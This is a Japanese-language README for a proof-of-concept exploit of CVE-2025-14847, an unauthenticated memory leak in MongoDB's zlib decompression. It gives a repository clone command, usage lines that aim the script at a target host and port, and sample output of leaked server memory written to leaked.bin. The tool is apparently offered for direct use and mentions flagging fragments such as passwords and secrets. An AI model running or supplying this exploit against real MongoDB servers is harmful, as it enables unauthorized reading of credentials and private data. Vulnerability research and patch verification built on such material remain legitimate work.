
CVE-2025-14847 – MongoDB 未認証メモリリークエクスプロイト
MongoDB の zlib 圧縮解除 の脆弱性を利用した概念実証 (PoC) エクスプロイトです。未認証の攻撃者がサーバーの機密メモリを読み取ることができます。
この PoC は Python 3 で実装されており、悪意のある OP_COMPRESSED パケットがバグを引き起こし、MongoDB が初期化されていないメモリを BSON データとして返す仕組みを実証します。
この脆弱性は、MongoDB の zlib メッセージ圧縮解除の欠陥によって引き起こされます:
uncompressedSize を主張する圧縮メッセージが送信されます。この PoC は細工された OP_COMPRESSED パケットを送信し、サーバーのエラーレスポンスを解析して漏えいしたデータ断片を復元します。
| コンポーネント | バージョン | 備考 |
|---|---|---|
| Python | ≥ 3.8 | このスクリプトは Python 3 専用です |
| MongoDB | ≥ 4.4 | ターゲットは CVE‑2025‑14847 の影響を受けるバージョンである必要があります |
| オプション | requirements.txt | リポジトリに同梱されています |
# Clone the repo (or copy the script)
git clone https://github.com/lincemorado97/CVE-2025-14847.git
cd cve-2025-14847
# (Optional) Install required Python packages
pip install -r requirements.txt
python exploit.py [OPTIONS]
例:
python exploit.py --host 10.0.0.5 --port 27017 --min-offset 50 --max-offset 5000 --output leaks.bin
$ python3 exploit.py
11:02:41 CVE-2025-14847 INFO │ [*] Target: localhost:27017
11:02:41 CVE-2025-14847 INFO │ [*] Scanning offsets 20-8192
11:02:41 CVE-2025-14847 INFO │ Offset Hex ASCII
11:02:41 CVE-2025-14847 INFO │ ---------------------------------------------------------------------------
11:02:41 CVE-2025-14847 INFO │ 00000000: 20 6f 62 6a 65 63 74 20 77 69 74 68 20 75 6e 6b | object with unk|
11:02:41 CVE-2025-14847 INFO │ 00000010: 6e 6f 77 6e 20 5f 69 64 |nown _id|
11:02:41 CVE-2025-14847 INFO │ [+] offset= 39 len= 24:
11:02:45 CVE-2025-14847 INFO │ Offset Hex ASCII
11:02:45 CVE-2025-14847 INFO │ ---------------------------------------------------------------------------
11:02:45 CVE-2025-14847 INFO │ 00000000: 73 20 73 6b 69 70 70 65 64 20 64 75 72 69 6e 67 |s skipped during|
11:02:45 CVE-2025-14847 INFO │ 00000010: 20 74 72 65 65 20 77 61 6c 6b | tree walk|
11:02:45 CVE-2025-14847 INFO │ [+] offset=3064 len= 26:
11:02:50 CVE-2025-14847 INFO │ Offset Hex ASCII
11:02:50 CVE-2025-14847 INFO │ ---------------------------------------------------------------------------
11:02:50 CVE-2025-14847 INFO │ [+] offset=6663 len= 38:
11:02:52 CVE-2025-14847 SUCCESS │ [*] Total leaked: 496 bytes
11:02:52 CVE-2025-14847 SUCCESS │ [*] Unique fragments: 85
11:02:52 CVE-2025-14847 SUCCESS │ [*] Saved to: leaked.bin
スクリプトは、注目すべき各断片 (長さ > 10 バイト) をログに記録し、hexdump ビューを出力します。漏えいしたデータはすべて leaked.bin に追記されます。

[+] offset= <doc_len> len= <len> は断片が見つかった場所を示します。password、secret など) を検出すると表示します。この PoC は、いかなる保証もなく「現状のまま」提供されます。作者は、このスクリプトの誤用または損害について一切の責任を負いません。自己責任で使用してください。
| オプション | デフォルト | 説明 |
|---|
--host | localhost | ターゲットの MongoDB ホスト |
--port | 27017 | ターゲットの MongoDB ポート |
--min-offset | 20 | 調査する最小ドキュメント長 |
--max-offset | 8192 | 調査する最大ドキュメント長 |
--output | leaked.bin | 漏えいデータを保存するファイル |